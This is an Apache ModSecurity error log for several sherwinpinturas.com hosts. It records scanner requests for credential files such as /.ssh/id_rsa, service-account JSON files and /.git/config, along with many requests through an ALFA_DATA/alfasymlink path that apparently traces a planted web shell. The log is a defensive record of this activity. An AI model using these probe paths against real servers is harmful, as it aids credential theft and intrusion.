[Sun Oct 25 15:47:37.143134 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:26032] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/client_secret.json"] [unique_id "at5c2dKX2UxtP-t1n16s4QAAADs"]
[Sun Oct 25 15:47:37.237094 2026] [security2:error] [pid 2891189:tid 2891189] [client 8.228.81.206:26038] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/service-account.json"] [unique_id "at5c2T03oOY3EiI_RmqmoQAAAAA"]
[Sun Oct 25 15:47:37.391376 2026] [security2:error] [pid 2889353:tid 2889353] [client 8.228.81.206:26048] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/application_default_credentials.json"] [unique_id "at5c2a8dg0Qe9Rh6wUUblQAAAEU"]
[Sun Oct 25 15:47:37.451517 2026] [security2:error] [pid 2889348:tid 2889348] [client 8.228.81.206:26058] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.ssh/id_rsa"] [unique_id "at5c2eawu2hdqh-E8Ti2qQAAAD8"]
[Sun Oct 25 15:47:42.147564 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 3.212.205.90:41566] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:47:54.322984 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 3.216.13.10:47040] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:48:06.152420 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 3.213.213.161:65194] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:48:06.981400 2026] [security2:error] [pid 2889287:tid 2889287] [client 107.172.76.131:64129] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5c6WFV96rJYXEkIA1nqQAAABk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 15:48:06.981455 2026] [security2:error] [pid 2889287:tid 2889287] [client 107.172.76.131:64129] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5c6WFV96rJYXEkIA1nqQAAABk"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 15:48:14.496992 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 52.207.47.227:51811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:48:22.163642 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 34.192.67.98:55876] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:48:26.278165 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 3.212.86.97:36085] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:48:38.147740 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 35.169.119.108:36994] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:48:42.161010 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 100.29.155.89:6566] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:48:48.098209 2026] [security2:error] [pid 2887586:tid 2887586] [client 107.172.76.131:64121] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5dEnWAJkvYyuEsFoLHygAAABc"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 15:48:48.098269 2026] [security2:error] [pid 2887586:tid 2887586] [client 107.172.76.131:64121] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5dEnWAJkvYyuEsFoLHygAAABc"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 15:48:50.148456 2026] [ssl:error] [pid 2889314:tid 2889314] (70014)End of file found: [client 3.212.86.97:4109] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:48:54.184065 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 54.147.182.90:62596] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:49:10.295875 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 3.229.95.193:11205] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:49:22.136729 2026] [ssl:error] [pid 2889314:tid 2889314] (5)Input/output error: [client 34.236.41.241:63039] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:49:26.152424 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 34.195.60.66:20690] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:49:34.285112 2026] [core:error] [pid 2889285:tid 2889285] (13)Permission denied: [client 18.206.47.187:24966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/serial/bind
[Sun Oct 25 15:49:38.219995 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 44.212.106.171:53461] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:49:54.144923 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 100.27.153.9:63049] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:49:54.145276 2026] [security2:error] [pid 2889285:tid 2889285] [client 100.27.153.9:63049] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/node0/memory23/uevent"] [unique_id "at5dYkXVeq_TuGhu9jMa6AAAABU"]
[Sun Oct 25 15:49:54.145329 2026] [security2:error] [pid 2889285:tid 2889285] [client 100.27.153.9:63049] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/node0/memory23/uevent"] [unique_id "at5dYkXVeq_TuGhu9jMa6AAAABU"]
[Sun Oct 25 15:49:58.303267 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 44.214.19.8:24790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:50:02.339972 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 52.5.232.250:43746] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:50:06.234442 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 3.217.171.106:43320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:50:10.157987 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 3.213.213.161:52572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:50:12.518770 2026] [security2:error] [pid 2885109:tid 2885109] [client 107.172.76.131:64123] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5dZ4FcUVAO2YtGzyMe_wAAAAg"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 15:50:12.518823 2026] [security2:error] [pid 2885109:tid 2885109] [client 107.172.76.131:64123] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5dZ4FcUVAO2YtGzyMe_wAAAAg"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 15:50:14.145858 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 35.168.238.50:16631] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:50:16.424230 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 185.191.171.5:33654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:50:21.405004 2026] [core:error] [pid 2889348:tid 2889348] (13)Permission denied: [client 185.191.171.14:51150] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/virtio_balloon/sections/__mcount_loc
[Sun Oct 25 15:50:23.604871 2026] [core:crit] [pid 2889357:tid 2889357] (13)Permission denied: [client 66.132.159.137:55636] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 15:50:26.198615 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 184.73.167.217:41595] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:50:27.127349 2026] [core:crit] [pid 2889359:tid 2889359] (13)Permission denied: [client 66.132.159.137:55654] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 15:50:38.235374 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 52.0.105.244:61614] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:50:46.140280 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 18.214.238.178:12979] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:50:50.189689 2026] [core:error] [pid 2889270:tid 2889270] (13)Permission denied: [client 18.214.251.19:19577] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/driver/0000:00:03.0/firmware_node/eject
[Sun Oct 25 15:51:06.133800 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 98.80.130.239:62340] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:51:18.147567 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 52.203.68.145:3702] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:51:22.164872 2026] [ssl:error] [pid 2891189:tid 2891189] (70014)End of file found: [client 98.84.131.195:48996] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:51:26.127714 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 34.194.95.99:25952] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:51:42.162446 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 52.54.249.218:58301] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:51:50.224173 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 52.200.58.199:51673] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:51:54.207387 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 54.221.203.24:17369] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:52:02.175165 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 34.206.249.188:47913] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:52:10.920934 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 185.191.171.12:11046] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:52:11.629692 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 185.191.171.12:11060] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:52:15.525756 2026] [core:error] [pid 2889285:tid 2889285] (13)Permission denied: [client 85.208.96.209:36242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/red_zone
[Sun Oct 25 15:52:30.123261 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 44.210.213.220:33871] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:52:38.119179 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 52.70.123.241:23822] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:52:42.137416 2026] [core:error] [pid 2889270:tid 2889270] (13)Permission denied: [client 35.174.253.85:9659] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/devices/0000:00:03.0/firmware_node/physical_node/resource4
[Sun Oct 25 15:52:54.175745 2026] [ssl:error] [pid 2889348:tid 2889348] (70014)End of file found: [client 100.28.49.152:27350] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:53:01.436129 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 185.191.171.6:40230] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:53:02.266803 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 54.209.100.30:38542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:53:12.713622 2026] [security2:error] [pid 2889267:tid 2889267] [client 172.64.198.225:10447] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5eKO7UGWPY5MHUn17IPAAAAAk"]
[Sun Oct 25 15:53:12.714039 2026] [security2:error] [pid 2889267:tid 2889267] [client 172.64.198.225:10447] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5eKO7UGWPY5MHUn17IPAAAAAk"]
[Sun Oct 25 15:53:12.714520 2026] [security2:error] [pid 2889267:tid 2889267] [client 172.64.198.225:10447] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5eKO7UGWPY5MHUn17IPAAAAAk"]
[Sun Oct 25 15:53:12.716796 2026] [security2:error] [pid 2889270:tid 2889270] [client 172.64.198.224:9977] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5eKPSMdi-sddjp6mAfVAAAABA"]
[Sun Oct 25 15:53:12.717081 2026] [security2:error] [pid 2889270:tid 2889270] [client 172.64.198.224:9977] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5eKPSMdi-sddjp6mAfVAAAABA"]
[Sun Oct 25 15:53:12.717487 2026] [security2:error] [pid 2889270:tid 2889270] [client 172.64.198.224:9977] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5eKPSMdi-sddjp6mAfVAAAABA"]
[Sun Oct 25 15:53:22.144752 2026] [ssl:error] [pid 2889314:tid 2889314] (70014)End of file found: [client 54.225.81.20:48821] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:53:30.167294 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 184.72.95.195:37189] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:53:42.135698 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 54.83.180.239:25858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:05/eject
[Sun Oct 25 15:53:58.134402 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 52.3.26.180:56146] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:54:02.149399 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 34.194.226.74:31425] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:54:22.120845 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 54.147.182.90:30479] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:54:22.822569 2026] [security2:error] [pid 2889270:tid 2889270] [client 107.172.76.131:64273] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5eYvSMdi-sddjp6mAfVgAAABA"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 15:54:22.822644 2026] [security2:error] [pid 2889270:tid 2889270] [client 107.172.76.131:64273] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5eYvSMdi-sddjp6mAfVgAAABA"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 15:54:30.131821 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 54.83.180.239:9083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:54:34.121679 2026] [core:error] [pid 2887459:tid 2887459] (13)Permission denied: [client 85.208.96.205:41346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-8/shrink
[Sun Oct 25 15:54:38.320311 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 3.230.224.6:55572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:54:46.125765 2026] [ssl:error] [pid 2889265:tid 2889265] (70014)End of file found: [client 44.215.210.112:61978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:54:50.163223 2026] [ssl:error] [pid 2887459:tid 2887459] (70014)End of file found: [client 18.214.124.6:21766] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:54:54.233402 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 3.219.81.66:42524] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:54:58.135550 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 100.29.107.38:52229] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:55:06.215887 2026] [ssl:error] [pid 2887459:tid 2887459] (70014)End of file found: [client 52.21.62.139:8512] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:55:10.252758 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 3.215.59.93:9332] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:55:18.131512 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 18.207.89.138:50539] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:55:22.146142 2026] [ssl:error] [pid 2887459:tid 2887459] (70014)End of file found: [client 34.202.88.37:39165] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:55:26.119508 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 54.147.182.90:13395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:55:42.126564 2026] [core:error] [pid 2887459:tid 2887459] (13)Permission denied: [client 3.220.70.171:45968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/xhci_hcd/uevent
[Sun Oct 25 15:55:46.132049 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 54.147.182.90:16288] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:55:50.122541 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 54.84.93.8:63291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:55:58.124890 2026] [ssl:error] [pid 2887459:tid 2887459] (70014)End of file found: [client 44.209.89.189:49346] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:56:04.061659 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 185.191.171.5:25886] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:56:05.351058 2026] [security2:error] [pid 2889304:tid 2889304] [client 85.208.96.208:56516] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ENS1371.conf"] [unique_id "at5e1afmCdz-tKPsRDeyeQAAAB4"]
[Sun Oct 25 15:56:05.351468 2026] [security2:error] [pid 2889304:tid 2889304] [client 85.208.96.208:56516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ENS1371.conf"] [unique_id "at5e1afmCdz-tKPsRDeyeQAAAB4"]
[Sun Oct 25 15:56:05.351983 2026] [security2:error] [pid 2889304:tid 2889304] [client 85.208.96.208:56516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ENS1371.conf"] [unique_id "at5e1afmCdz-tKPsRDeyeQAAAB4"]
[Sun Oct 25 15:56:10.200211 2026] [ssl:error] [pid 2887459:tid 2887459] (70014)End of file found: [client 98.83.94.113:35761] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:56:18.282446 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 34.202.88.37:21978] AH02013: coalesce failed to read from data bucket
